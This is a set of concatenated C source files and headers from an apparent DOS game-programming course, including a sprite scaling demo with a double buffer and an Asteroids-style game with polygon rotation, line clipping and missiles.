void Show_Double_Buffer(unsigned char far *buffer)
{
// this functions copies the double buffer into the video buffer
_asm
{
push ds ; save DS on stack
mov cx,buffer_size ; this is the size of buffer in WORDS
les di,video_buffer ; es:di is destination of memory move
lds si,buffer ; ds:si is source of memory move
cld ; make sure to move in the right direction
rep movsw ; move all the words
pop ds ; restore the data segment
} // end asm
} // end Show_Double_Buffer
//////////////////////////////////////////////////////////////////////////////
int Create_Double_Buffer(int num_lines)
{
// allocate enough memory to hold the double buffer
if ((double_buffer = (unsigned char far *)_fmalloc(SCREEN_WIDTH * (num_lines + 1)))==NULL)
return(0);
// set the height of the buffer and compute it's size
buffer_height = num_lines;
buffer_size = SCREEN_WIDTH * num_lines/2;
// fill the buffer with black
_fmemset(double_buffer, 0, SCREEN_WIDTH * num_lines);
// everything was ok
return(1);
} // end Init_Double_Buffer
///////////////////////////////////////////////////////////////////////////////
void Fill_Double_Buffer(int color)
{
// this function fills in the double buffer with the sent color
_fmemset(double_buffer, color, SCREEN_WIDTH * buffer_height);
} // end Fill_Double_Buffer
//////////////////////////////////////////////////////////////////////////////
void Delete_Double_Buffer(void)
{
// this function free's up the memory allocated by the double buffer
// make sure to use FAR version
if (double_buffer)
_ffree(double_buffer);
} // end Delete_Double_Buffer
///////////////////////////////////////////////////////////////////////////////
void Scale_Sprite(sprite_ptr sprite,float scale)
{
// this function scales a sprite by computing the number of source pixels
// needed to satisfy the number of destination pixels
// note: this function works in the double buffer
char far *work_sprite;
int work_offset=0,
offset,
x,
y;
unsigned char data;
float y_scale_index,
x_scale_step,
y_scale_step,
x_scale_index;
// set first source pixel
y_scale_index = 0;
// compute floating point step
y_scale_step = sprite_height/scale;
x_scale_step = sprite_width/scale;
// alias a pointer to sprite for ease of access
work_sprite = sprite->frames[sprite->curr_frame];
// compute offset of sprite in video buffer
offset = (sprite->y << 8) + (sprite->y << 6) + sprite->x;
// row by row scale object
for (y=0; y<(int)(scale); y++)
{
// copy the next row into the screen buffer using memcpy for speed
x_scale_index=0;
for (x=0; x<(int)scale; x++)
{
// test for transparent pixel i.e. 0, if not transparent then draw
if ((data=work_sprite[work_offset+(int)x_scale_index]))
double_buffer[offset+x] = data;
x_scale_index+=(x_scale_step);
} // end for x
// using the floating scale_step, index to next source pixel
y_scale_index+=y_scale_step;
// move to next line in video buffer and in sprite bitmap buffer
offset += SCREEN_WIDTH;
work_offset = sprite_width*(int)(y_scale_index);
} // end for y
} // end Scale_Sprite
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
int done=0; // exit flag
char buffer[128]; // used to build up info string
float scale=32; // initial scale of object
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// set sprite system size so that functions use correct sprite size
sprite_width = sprite_height = 32;
// initialize the pcx file that holds all the animation cells for net-tank
PCX_Init((pcx_picture_ptr)&imagery_pcx);
// load the pcx file that holds the cells
PCX_Load("robopunk.pcx", (pcx_picture_ptr)&imagery_pcx,1);
Sprite_Init((sprite_ptr)&object,0,0,0,0,0,0);
// grap the bitmap
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&object,0,3,0);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// initialize the sprite
object.curr_frame = 0;
object.x = 160-(sprite_width>>1);
object.y = 100-(sprite_height>>1);
// clear the double buffer
Fill_Double_Buffer(0);
// show the user the scaled texture
Scale_Sprite((sprite_ptr)&object,scale);
Show_Double_Buffer(double_buffer);
Blit_String(0,190,10,"Press 'Q' to Quit,'<' '>' to Scale.",1);
// main loop
while(!done)
{
// has user hit a key?
if (kbhit())
{
switch(getch())
{
case '.': // scale object larger
{
if (scale<180)
{
scale+=4;
object.x-=2;
object.y-=2;
} // end if ok to scale larger
} break;
case ',': // scale object smaller
{
if (scale>4)
{
scale-=4;
object.x+=2;
object.y+=2;
} // end if ok to scale smaller
} break;
case 'q': // let's go!
{
done=1;
} break;
default:break;
} // end switch
// create a clean slate
Fill_Double_Buffer(0);
// scale the sprite and render into the double buffer
Scale_Sprite((sprite_ptr)&object,scale);
// show the double buffer
Show_Double_Buffer(double_buffer);
Blit_String(0,190,10,"Press 'Q' to Quit,'<' '>' to Scale.",1);
sprintf(buffer,"Current scale = %f ",scale/32);
Blit_String(0,8,10,buffer,1);
}// end if
} // end while
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
// go back to text mode
Set_Video_Mode(TEXT_MODE);
// delete the doubele buffer
Delete_Double_Buffer();
} // end main
<file_sep>/day_05/rockdemo.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
// D E F I N E S /////////////////////////////////////////////////////////////
// global clipping region default value
#define POLY_CLIP_MIN_X 0
#define POLY_CLIP_MIN_Y 0
#define POLY_CLIP_MAX_X 319
#define POLY_CLIP_MAX_Y 199
#define MAX_VERTICES 16 // maximum numbr of vertices in a polygon
#define NUM_ROCKS 10 // number of rocks in asteroid field
#define FRICTION .2 // friction of space, yes believe it or not
// space has friction to both energy and matter.
// even in deepest space there are approx. 4
// hydrogen atoms per cubic CM and the wave
// impedence or energy friction is 377 ohms
// that's why light maxes out at 186,300 MPS
#define NUM_MISSILES 20
#define MISSILE_SPEED 8.0f
// S T R U C T U R E S ///////////////////////////////////////////////////////
typedef struct vertex_typ
{
float x,y; // the vertex in 2-D
} vertex, *vertex_ptr;
typedef struct missile_typ
{
float vx, vy; //velocity vector
float x, y; //position
unsigned int active; //whether the missile is active
} missile;
//////////////////////////////////////////////////////////////////////////////
// the polygon structure
typedef struct polygon_typ
{
int b_color; // border color
int i_color; // interior color
int closed; // is the polygon closed
int filled; // is this polygon filled
int lxo,lyo; // local origin of polygon
int num_vertices; // number of defined vertices
vertex vertices[MAX_VERTICES]; // the vertices of the polygon
} polygon, *polygon_ptr;
// a moving object
typedef struct object_typ
{
int state; // state of rock
int rotation_rate; // angle to rotate object per frame
int xv,yv; // velocity vector
polygon rock; // one polygon per rock
} object, *object_ptr;
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void Bline(int xo, int yo, int x1,int y1, unsigned char color);
void missile_init();
void missile_fire(polygon *ship, int angle);
void missile_update();
// G L O B A L S ////////////////////////////////////////////////////////////
float sin_look[361], // look up tables for sin and cosine
cos_look[361];
// the clipping region, set it to default on start up
int poly_clip_min_x = POLY_CLIP_MIN_X,
poly_clip_min_y = POLY_CLIP_MIN_Y,
poly_clip_max_x = POLY_CLIP_MAX_X,
poly_clip_max_y = POLY_CLIP_MAX_Y;
// the asteroid field
object rocks[NUM_ROCKS];
missile missiles[NUM_MISSILES];
// F U N C T I O N S /////////////////////////////////////////////////////////
void Create_Tables()
{
// this function creates the sin and cosine lookup tables
int index;
// create the tables
for (index=0; index<=360; index++)
{
cos_look[index] = (float)cos((double)(index*3.14159/180));
sin_look[index] = (float)sin((double)(index*3.14159/180));
} // end for
} // end Create_Tables
//////////////////////////////////////////////////////////////////////////////
void Rotate_Polygon(polygon_ptr poly, int angle)
{
int index; // loop index
float si,cs, // values of sin and cosine
rx,ry; // roated points
// rotate each point of the poly gon around its local origin
// note that angle is an integer and ranges from -360 to +360
// compute sin and cos of angle to be rotated
if (angle>=0)
{
// extract sin and cosine from look up table
si = sin_look[angle];
cs = cos_look[angle];
} // end if positive angle
else
{
// angle is negative to convert to positive
// convert negative angle to positive angle and extract values
si = sin_look[angle+360];
cs = cos_look[angle+360];
} // end else
// using values for sin and cosine rotate the point
for (index=0; index<poly->num_vertices; index++)
{
// compute rotated values using rotation eqns.
rx = poly->vertices[index].x * cs - poly->vertices[index].y * si;
ry = poly->vertices[index].y * cs + poly->vertices[index].x * si;
// store the rotated vertex back into structure
poly->vertices[index].x = rx;
poly->vertices[index].y = ry;
} // end for
} // end Rotate_Polygon
///////////////////////////////////////////////////////////////////////////////
void Scale_Polygon(polygon_ptr poly, float scale)
{
int index;
// scale each vertex of the polygon
for (index=0; index<poly->num_vertices; index++)
{
// multiply by the scaling factor
poly->vertices[index].x*=scale;
poly->vertices[index].y*=scale;
} // end for
} // end Scale_Polygon
///////////////////////////////////////////////////////////////////////////////
void Translate_Polygon(polygon_ptr poly, int dx,int dy)
{
// translate the origin of the polygon
poly->lxo+=dx;
poly->lyo+=dy;
// that was easy!
} // end Translate_Polygon
///////////////////////////////////////////////////////////////////////////////
void Draw_Polygon(polygon_ptr poly)
{
// this function draws a polygon on the screen without clipping
// caller should make sure that vertices are within bounds of clipping
// rectangle, also the polygon will always be unfilled regardless
// of the fill flag
int index,xo,yo;
// extract local origin
xo = poly->lxo;
yo = poly->lyo;
// draw polygon
for (index=0; index<poly->num_vertices-1; index++)
{
Bline(xo+(int)poly->vertices[index].x,yo+(int)poly->vertices[index].y,
xo+(int)poly->vertices[index+1].x,yo+(int)poly->vertices[index+1].y,
poly->b_color);
} // end for index
// close polygon?
if (!poly->closed)
return;
Bline(xo+(int)poly->vertices[index].x,yo+(int)poly->vertices[index].y,
xo+(int)poly->vertices[0].x,yo+(int)poly->vertices[0].y,
poly->b_color);
} // end Draw_Polygon
//////////////////////////////////////////////////////////////////////////////
int Clip_Line(int *x1,int *y1,int *x2, int *y2)
{
// this function clips the sent line using the globally defined clipping
// region
int point_1 = 0, point_2 = 0; // tracks if each end point is visible or invisible
int clip_always = 0; // used for clipping override
int xi,yi; // point of intersection
int right_edge=0, // which edges are the endpoints beyond
left_edge=0,
top_edge=0,
bottom_edge=0;
int success = 0; // was there a successfull clipping
float dx,dy; // used to holds slope deltas
// SECTION 1 //////////////////////////////////////////////////////////////////
// test if line is completely visible
if ( (*x1>=poly_clip_min_x) && (*x1<=poly_clip_max_x) &&
(*y1>=poly_clip_min_y) && (*y1<=poly_clip_max_y) )
point_1 = 1;
if ( (*x2>=poly_clip_min_x) && (*x2<=poly_clip_max_x) &&
(*y2>=poly_clip_min_y) && (*y2<=poly_clip_max_y) )
point_2 = 1;
// SECTION 2 /////////////////////////////////////////////////////////////////
// test endpoints
if (point_1==1 && point_2==1)
return(1);
// SECTION 3 /////////////////////////////////////////////////////////////////
// test if line is completely invisible
if (point_1==0 && point_2==0)
{
// must test to see if each endpoint is on the same side of one of
// the bounding planes created by each clipping region boundary
if ( ((*x1<poly_clip_min_x) && (*x2<poly_clip_min_x)) || // to the left
((*x1>poly_clip_max_x) && (*x2>poly_clip_max_x)) || // to the right
((*y1<poly_clip_min_y) && (*y2<poly_clip_min_y)) || // above
((*y1>poly_clip_max_y) && (*y2>poly_clip_max_y)) ) // below
{
// no need to draw line
return(0);
} // end if invisible
// if we got here we have the special case where the line cuts into and
// out of the clipping region
clip_always = 1;
} // end if test for invisibly
// SECTION 4 /////////////////////////////////////////////////////////////////
// take care of case where either endpoint is in clipping region
if (( point_1==1) || (point_1==0 && point_2==0) )
{
// compute deltas
dx = *x2 - *x1;
dy = *y2 - *y1;
// compute what boundary line need to be clipped against
if (*x2 > poly_clip_max_x)
{
// flag right edge
right_edge = 1;
// compute intersection with right edge
if (dx!=0)
yi = (int)(.5 + (dy/dx) * (poly_clip_max_x - *x1) + *y1);
else
yi = -1; // invalidate intersection
} // end if to right
else
if (*x2 < poly_clip_min_x)
{
// flag left edge
left_edge = 1;
// compute intersection with left edge
if (dx!=0)
yi = (int)(.5 + (dy/dx) * (poly_clip_min_x - *x1) + *y1);
else
yi = -1; // invalidate intersection
} // end if to left
// horizontal intersections
if (*y2 > poly_clip_max_y)
{
// flag bottom edge
bottom_edge = 1;
// compute intersection with right edge
if (dy!=0)
xi = (int)(.5 + (dx/dy) * (poly_clip_max_y - *y1) + *x1);
else
xi = -1; // invalidate inntersection
} // end if bottom
else
if (*y2 < poly_clip_min_y)
{
// flag top edge
top_edge = 1;
// compute intersection with top edge
if (dy!=0)
xi = (int)(.5 + (dx/dy) * (poly_clip_min_y - *y1) + *x1);
else
xi = -1; // invalidate inntersection
} // end if top
// SECTION 5 /////////////////////////////////////////////////////////////////
// now we know where the line passed thru
// compute which edge is the proper intersection
if (right_edge==1 && (yi>=poly_clip_min_y && yi<=poly_clip_max_y) )
{
*x2 = poly_clip_max_x;
*y2 = yi;
success = 1;
} // end if intersected right edge
else
if (left_edge==1 && (yi>=poly_clip_min_y && yi<=poly_clip_max_y) )
{
*x2 = poly_clip_min_x;
*y2 = yi;
success = 1;
} // end if intersected left edge
if (bottom_edge==1 && (xi>=poly_clip_min_x && xi<=poly_clip_max_x) )
{
*x2 = xi;
*y2 = poly_clip_max_y;
success = 1;
} // end if intersected bottom edge
else
if (top_edge==1 && (xi>=poly_clip_min_x && xi<=poly_clip_max_x) )
{
*x2 = xi;
*y2 = poly_clip_min_y;
success = 1;
} // end if intersected top edge
} // end if point_1 is visible
// SECTION 6 /////////////////////////////////////////////////////////////////
// reset edge flags
right_edge = left_edge= top_edge = bottom_edge = 0;
// test second endpoint
if ( (point_2==1) || (point_1==0 && point_2==0))
{
// compute deltas
dx = *x1 - *x2;
dy = *y1 - *y2;
// compute what boundary line need to be clipped against
if (*x1 > poly_clip_max_x)
{
// flag right edge
right_edge = 1;
// compute intersection with right edge
if (dx!=0)
yi = (int)(.5 + (dy/dx) * (poly_clip_max_x - *x2) + *y2);
else
yi = -1; // invalidate inntersection
} // end if to right
else
if (*x1 < poly_clip_min_x)
{
// flag left edge
left_edge = 1;
// compute intersection with left edge
if (dx!=0)
yi = (int)(.5 + (dy/dx) * (poly_clip_min_x - *x2) + *y2);
else
yi = -1; // invalidate intersection
} // end if to left
// horizontal intersections
if (*y1 > poly_clip_max_y)
{
// flag bottom edge
bottom_edge = 1;
// compute intersection with right edge
if (dy!=0)
xi = (int)(.5 + (dx/dy) * (poly_clip_max_y - *y2) + *x2);
else
xi = -1; // invalidate inntersection
} // end if bottom
else
if (*y1 < poly_clip_min_y)
{
// flag top edge
top_edge = 1;
// compute intersection with top edge
if (dy!=0)
xi = (int)(.5 + (dx/dy) * (poly_clip_min_y - *y2) + *x2);
else
xi = -1; // invalidate inntersection
} // end if top
// now we know where the line passed thru
// compute which edge is the proper intersection
if (right_edge==1 && (yi>=poly_clip_min_y && yi<=poly_clip_max_y) )
{
*x1 = poly_clip_max_x;
*y1 = yi;
success = 1;
} // end if intersected right edge
else
if (left_edge==1 && (yi>=poly_clip_min_y && yi<=poly_clip_max_y) )
{
*x1 = poly_clip_min_x;
*y1 = yi;
success = 1;
} // end if intersected left edge
if (bottom_edge==1 && (xi>=poly_clip_min_x && xi<=poly_clip_max_x) )
{
*x1 = xi;
*y1 = poly_clip_max_y;
success = 1;
} // end if intersected bottom edge
else
if (top_edge==1 && (xi>=poly_clip_min_x && xi<=poly_clip_max_x) )
{
*x1 = xi;
*y1 = poly_clip_min_y;
success = 1;
} // end if intersected top edge
} // end if point_2 is visible
// SECTION 7 /////////////////////////////////////////////////////////////////
return(success);
} // end Clip_Line
//////////////////////////////////////////////////////////////////////////////
void Draw_Polygon_Clip(polygon_ptr poly)
{
// this function draws a polygon on the screen with clipping
// also the polygon will always be unfilled regardless
// of the fill flag in the polygon structure
int index, // loop index
xo,yo, // local origin
x1,y1, // end points of current line being processed
x2,y2;
// extract local origin
xo = poly->lxo;
yo = poly->lyo;
// draw polygon
for (index=0; index<poly->num_vertices-1; index++)
{
// extract the line
x1 = (int)poly->vertices[index].x+xo;
y1 = (int)poly->vertices[index].y+yo;
x2 = (int)poly->vertices[index+1].x+xo;
y2 = (int)poly->vertices[index+1].y+yo;
// clip line to viewing screen and draw unless line is totally invisible
if (Clip_Line(&x1,&y1,&x2,&y2))
{
// line was clipped and now can be drawn
Bline(x1,y1,x2,y2,poly->b_color);
} // end if draw line
} // end for index
// close polygon? // close polygon
if (!poly->closed)
return;
// extract the line
x1 = (int)poly->vertices[index].x+xo;
y1 = (int)poly->vertices[index].y+yo;
x2 = (int)poly->vertices[0].x+xo;
y2 = (int)poly->vertices[0].y+yo;
// clip line to viewing screen and draw unless line is totally invisible
if (Clip_Line(&x1,&y1,&x2,&y2))
{
// line was clipped and now can be drawn
Bline(x1,y1,x2,y2,poly->b_color);
} // end if draw line
} // end Draw_Polygon_Clip
//////////////////////////////////////////////////////////////////////////////
void Bline(int xo, int yo, int x1,int y1, unsigned char color)
{
// this function uses Bresenham's algorithm IBM (1965) to draw a line from
// (xo,yo) - (x1,y1)
int dx, // difference in x's
dy, // difference in y's
x_inc, // amount in pixel space to move during drawing
y_inc, // amount in pixel space to move during drawing
error=0, // the discriminant i.e. error i.e. decision variable
index; // used for looping
unsigned char far *vb_start = video_buffer; // directly access the video
// buffer for speed
// SECTION 1 /////////////////////////////////////////////////////////////////
// pre-compute first pixel address in video buffer
// use shifts for multiplication
vb_start = vb_start + ((unsigned int)yo<<6) +
((unsigned int)yo<<8) +
(unsigned int)xo;
// compute deltas
dx = x1-xo;
dy = y1-yo;
// SECTION 2 /////////////////////////////////////////////////////////////////
// test which direction the line is going in i.e. slope angle
if (dx>=0)
{
x_inc = 1;
} // end if line is moving right
else
{
x_inc = -1;
dx = -dx; // need absolute value
} // end else moving left
// SECTION 3 /////////////////////////////////////////////////////////////////
// test y component of slope
if (dy>=0)
{
y_inc = 320; // 320 bytes per line
} // end if line is moving down
else
{
y_inc = -320;
dy = -dy; // need absolute value
} // end else moving up
// SECTION 4 /////////////////////////////////////////////////////////////////
// now based on which delta is greater we can draw the line
if (dx>dy)
{
// draw the line
for (index=0; index<=dx; index++)
{
// set the pixel
*vb_start = color;
// adjust the discriminate
error+=dy;
// test if error overflowed
if (error>dx)
{
error-=dx;
// move to next line
vb_start+=y_inc;
} // end if error overflowed
// move to the next pixel
vb_start+=x_inc;
} // end for
} // end if |slope| <= 1
else
{
// SECTION 5 /////////////////////////////////////////////////////////////////
// draw the line
for (index=0; index<=dy; index++)
{
// set the pixel
*vb_start = color;
// adjust the discriminate
error+=dx;
// test if error overflowed
if (error>0)
{
error-=dy;
// move to next line
vb_start+=x_inc;
} // end if error overflowed
// move to the next pixel
vb_start+=y_inc;
} // end for
} // end else |slope| > 1
} // end Bline
///////////////////////////////////////////////////////////////////////////////
void Draw_Boundary(int color)
{
// draws in the clipping boundary if user is intersted in seeing it
Bline(poly_clip_min_x,poly_clip_min_y,
poly_clip_max_x,poly_clip_min_y,color);
Bline(poly_clip_max_x,poly_clip_min_y,
poly_clip_max_x,poly_clip_max_y,color);
Bline(poly_clip_max_x,poly_clip_max_y,
poly_clip_min_x,poly_clip_max_y,color);
Bline(poly_clip_min_x,poly_clip_max_y,
poly_clip_min_x,poly_clip_min_y,color);
} // end Draw_Boundary
//////////////////////////////////////////////////////////////////////////////
void Initialize_Rocks(void)
{
// this function initializes all the rocks in the asteroid field
int index; // loop index
float scale; // used to change scale of each rock
// initialize all rocks in asteroid field
for (index=0; index<NUM_ROCKS; index++)
{
// build up each rock and add a little noise to each vertex
// to make them look different
rocks[index].rock.vertices[0].x = 4.0 + rand()%2;
rocks[index].rock.vertices[0].y = 4 + rand()%2;
rocks[index].rock.vertices[1].x = 9 + rand()%2;
rocks[index].rock.vertices[1].y = -3 - rand()%2;
rocks[index].rock.vertices[2].x = 6 + rand()%2;
rocks[index].rock.vertices[2].y = -5 - rand()%2;
rocks[index].rock.vertices[3].x = 2 + rand()%2;
rocks[index].rock.vertices[3].y = -3 - rand()%2;
rocks[index].rock.vertices[4].x = -4 - rand()%2;
rocks[index].rock.vertices[4].y = -6 - rand()%2;
rocks[index].rock.vertices[5].x = -3 - rand()%2;
rocks[index].rock.vertices[5].y = 5 + rand()%2;
// set number of vertices
rocks[index].rock.num_vertices = 6;
rocks[index].rock.b_color = 10;
rocks[index].rock.i_color = 10;
rocks[index].rock.closed = 1;
rocks[index].rock.filled = 0;
rocks[index].rock.lxo = rand()%poly_clip_max_x;
rocks[index].rock.lyo = rand()%poly_clip_max_y;
// compute velocity
rocks[index].xv = -5 + rand()%10;
rocks[index].yv = -5 + rand()%10;
// set state of rock to alive and set rotation rate
rocks[index].state = 1;
rocks[index].rotation_rate = -10 + rand() % 20;
// compute scale
scale = ((float)(5 + rand()%15))/10;
// scale the rock to make it look different
Scale_Polygon((polygon_ptr)&rocks[index].rock,scale);
} // end for index
} // end Initialize_Rocks
//////////////////////////////////////////////////////////////////////////////
void Draw_Rocks(void)
{
// this function draws all the asteroids
int index; // loop variable
// loop thru all rocks and draw them
for (index=0; index<NUM_ROCKS; index++)
{
rocks[index].rock.b_color = 10;
Draw_Polygon_Clip((polygon_ptr)&rocks[index].rock);
} // end for
} // end Draw_Rocks
//////////////////////////////////////////////////////////////////////////////
void Erase_Rocks(void)
{
// this functions erases all the asteroids
int index; // loop variable
// loop thru all rocks and draw them
for (index=0; index<NUM_ROCKS; index++)
{
rocks[index].rock.b_color = 0;
Draw_Polygon_Clip((polygon_ptr)&rocks[index].rock);
} // end for
} // end Erase_Rocks
//////////////////////////////////////////////////////////////////////////////
void Move_Rocks(void)
{
// this funnction moves and rotates all the asteroids
int index; // loop variable
// loop thru all rocks and draw them
for (index=0; index<NUM_ROCKS; index++)
{
// translate the polygon
Translate_Polygon((polygon_ptr)&rocks[index].rock,
rocks[index].xv,rocks[index].yv);
// rotate the rock
Rotate_Polygon((polygon_ptr)&rocks[index].rock,rocks[index].rotation_rate);
// test for collsion of edges
if (rocks[index].rock.lxo > 310)
rocks[index].rock.lxo = 10;
else
if (rocks[index].rock.lxo < 10)
rocks[index].rock.lxo = 310;
if (rocks[index].rock.lyo > 190)
rocks[index].rock.lyo = 10;
else
if (rocks[index].rock.lyo < 10)
rocks[index].rock.lyo = 190;
} // end for
} // end Move_Rocks
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
int done=0; // system exit flag
polygon ship;
float xv=0, // initial velocity of ship
yv=0;
int angle=90, // initial angle of ship
engines=0; // tracks if engines are on
// SECTION 1 /////////////////////////////////////////////////////////////////
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create lookup tables for polygon engine
Create_Tables();
// initialize missiles
missile_init();
// SECTION 2 /////////////////////////////////////////////////////////////////
// build up a little spaceship polygon
ship.vertices[0].x = 3;
ship.vertices[0].y = -19;
ship.vertices[1].x = 12;
ship.vertices[1].y = -1;
ship.vertices[2].x = 17;
ship.vertices[2].y = 2;
ship.vertices[3].x = 17;
ship.vertices[3].y = 9;
ship.vertices[4].x = 8;
ship.vertices[4].y = 14;
ship.vertices[5].x = 5;
ship.vertices[5].y = 8;
ship.vertices[6].x = -5;
ship.vertices[6].y = 8;
ship.vertices[7].x = -8;
ship.vertices[7].y = 14;
ship.vertices[8].x = -17;
ship.vertices[8].y = 9;
ship.vertices[9].x = -17;
ship.vertices[9].y = 2;
ship.vertices[10].x = -12;
ship.vertices[10].y = -1;
ship.vertices[11].x = -3;
ship.vertices[11].y = -19;
ship.vertices[12].x = -3;
ship.vertices[12].y = -8;
ship.vertices[13].x = 3;
ship.vertices[13].y = -8;
// set position of shaceship
ship.lxo = 160;
ship.lyo = 100;
// fill in important fields
ship.num_vertices = 14;
ship.b_color = 1;
ship.closed = 1;
// make the ship a little smaller
Scale_Polygon((polygon_ptr)&ship,0.75);
// create the asteroid field
Initialize_Rocks();
// main event loop
// SECTION 3 /////////////////////////////////////////////////////////////////
while(!done)
{
// erase all the rocks
Erase_Rocks();
// erase the players ship
ship.b_color = 0;
Draw_Polygon_Clip((polygon_ptr)&ship);
// move everything
missile_update();
engines=0;
// SECTION 4 /////////////////////////////////////////////////////////////////
if (kbhit())
{
// get the key
switch(getch())
{
case 's':
{
Rotate_Polygon((polygon_ptr)&ship,5);
// adjust angle
angle+=5;
if (angle>360)
angle=0;
} break;
case 'a':
{
Rotate_Polygon((polygon_ptr)&ship,-5);
// adjust angle
angle-=5;
if (angle<0)
angle=360;
} break;
case 'l':
{
// adjust velocity vector based on direction
xv = xv - cos(angle*3.14159/180);
yv = yv - sin(angle*3.14159/180);
// flag that engines are on
engines = 1;
// control upper throttle limit
if (xv>10)
xv=10;
else
if (xv<-10)
xv=-10;
if (yv>10)
yv=10;
else
if (yv<-10)
yv=-10;
} break;
case 'q': // user trying to exit
{
done=1;
} break;
case ' ':
missile_fire(&ship, angle);
break;
} // end switch
} // end if kbhit
// SECTION 5 /////////////////////////////////////////////////////////////////
// decelerate engines if they are off
if (!engines)
{
// tend x and y components of velocity toward 0.
if (xv>0)
xv-=FRICTION;
else
if (xv<0)
xv+=FRICTION;
if (yv>0)
yv-=FRICTION;
else
if (yv<0)
yv+=FRICTION;
} // end if
// test if ship went off screen
if (ship.lxo > 310)
ship.lxo = 10;
else
if (ship.lxo < 10)
ship.lxo = 310;
if (ship.lyo > 190)
ship.lyo = 10;
else
if (ship.lyo < 10)
ship.lyo = 190;
// SECTION 6 /////////////////////////////////////////////////////////////////
// do the actual translation
Translate_Polygon((polygon_ptr)&ship,xv,yv);
// now move the rocks
Move_Rocks();
// SECTION 7 /////////////////////////////////////////////////////////////////
// Draw everything
Draw_Rocks();
ship.b_color = 9;
Draw_Polygon_Clip((polygon_ptr)&ship);
// draw instructions
Blit_String(0,190,15,"(A,S)-Rotate, (L)-Thrust, (Q)-Exit",1);
// just chill here for 1/18.2 th of a second
Delay(1);
} // end while
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
} // end main
// MISSILE FUNCTIONS
void missile_init()
{
int i;
for(i=0; i<NUM_MISSILES; i++) {
missiles[i].active = 0;
}
}
void missile_fire(polygon *ship, int angle)
{
int i;
for(i=0; i<NUM_MISSILES; i++) {
if(!missiles[i].active) {
missiles[i].active = 1;
missiles[i].x = ship->lxo;
missiles[i].y = ship->lyo;
missiles[i].vx = -MISSILE_SPEED * cos_look[angle];
missiles[i].vy = -MISSILE_SPEED * sin_look[angle];
return;
}
}
}
void missile_update()
{
int i;
for(i=0; i<NUM_MISSILES; i++) {
if(missiles[i].active)
{
//erase missile
Plot_Pixel_Fast((int)missiles[i].x, (int)missiles[i].y, 0);
//move missile
missiles[i].x += missiles[i].vx;
missiles[i].y += missiles[i].vy;
//dispose or draw
if(missiles[i].x < 0 || missiles[i].x >= 320 ||
missiles[i].y < 0 || missiles[i].y >= 200)
{
missiles[i].active=0;
} else {
Plot_Pixel_Fast((int)missiles[i].x, (int)missiles[i].y, 0x0f);
}
}
}
}
<file_sep>/day_17/graph6.h
// GRAPH6.H
// D E F I N E S /////////////////////////////////////////////////////////////
#define NUM_WORMS 320
#define VGA_INPUT_STATUS_1 0x3DA // vga status reg 1, bit 3 is the vsync
// when 1 - retrace in progress
// when 0 - no retrace
#define VGA_VSYNC_MASK 0x08 // masks off unwanted bit of status reg
// S T R U C T U R E S //////////////////////////////////////////////////////
typedef struct worm_typ
{
int y; // current y position of worm
int color; // color of worm
int speed; // speed of worm
int counter; // counter
} worm, *worm_ptr;
// E X T E R N A L S /////////////////////////////////////////////////////////
extern unsigned char far *double_buffer;
extern unsigned int buffer_height;
extern unsigned int buffer_size;
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void Show_Double_Buffer(char far *buffer);
int Create_Double_Buffer(int num_lines);
void Fill_Double_Buffer(int color);
void Delete_Double_Buffer(void);
void Plot_Pixel_Fast_DB(int x,int y,unsigned char color);
void Scale_Sprite(sprite_ptr sprite,float scale);
void Fade_Lights(void);
void Disolve(void);
void Melt(void);
void Sheer(void);
void Wait_For_Vsync(void);
void Behind_Sprite_DB(sprite_ptr sprite);
void Erase_Sprite_DB(sprite_ptr sprite);
void Draw_Sprite_DB(sprite_ptr sprite);
// slipped these in to see if you are paying attention!
void Blit_Char_DB(int xc,int yc,char c,int color,int trans_flag);
void Blit_String_DB(int x,int y,int color, char *string,int trans_flag);
<file_sep>/day_03/graph3.h
// Header file for first module of game library GRAPH3.C
// D E F I N E S /////////////////////////////////////////////////////////////
#define VGA256 0x13 // 320x200x256
#define TEXT_MODE 0x03 // 80x25 text mode
#define PALETTE_MASK 0x3C6 // the bit mask register
#define PALETTE_REGISTER_RD 0x3C7 // set read index at this I/O
#define PALETTE_REGISTER_WR 0x3C8 // set write index at this I/O
#define PALETTE_DATA 0x3C9 // the R/W data is here
#define ROM_CHAR_SET_SEG 0xF000 // segment of 8x8 ROM character set
#define ROM_CHAR_SET_OFF 0xFA6E // begining offset of 8x8 ROM character set
#define CHAR_WIDTH 8 // size of characters
#define CHAR_HEIGHT 8
#define SCREEN_WIDTH (unsigned int)320 // mode 13h screen dimensions
#define SCREEN_HEIGHT (unsigned int)200
// S T R U C T U R E S ///////////////////////////////////////////////////////
// this structure holds a RGB triple in three bytes
typedef struct RGB_color_typ
{
unsigned char red; // red component of color 0-63
unsigned char green; // green component of color 0-63
unsigned char blue; // blue component of color 0-63
} RGB_color, *RGB_color_ptr;
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void H_Line_Fast(int x1,int x2,int y,unsigned int color);
void V_Line(int y1,int y2,int x,unsigned int color);
void H_Line_Fast(int x1,int x2,int y,unsigned int color);
void Set_Palette_Register(int index, RGB_color_ptr color);
void Get_Palette_Register(int index, RGB_color_ptr color);
void Blit_Char(int xc,int yc,char c,int color,int trans_flag);
void Blit_String(int x,int y,int color, char *string,int trans_flag);
void Plot_Pixel(int x,int y,unsigned char color);
void Plot_Pixel_Fast(int x,int y,unsigned char color);
void Set_Video_Mode(int mode);
void Delay(int clicks);
// G L O B A L S /////////////////////////////////////////////////////////////
extern unsigned char far *video_buffer; // vram byte ptr
extern unsigned int far *video_buffer_w; // vram word ptr
extern unsigned char far *rom_char_set; // rom characters 8x8
<file_sep>/day_03/strfield.c
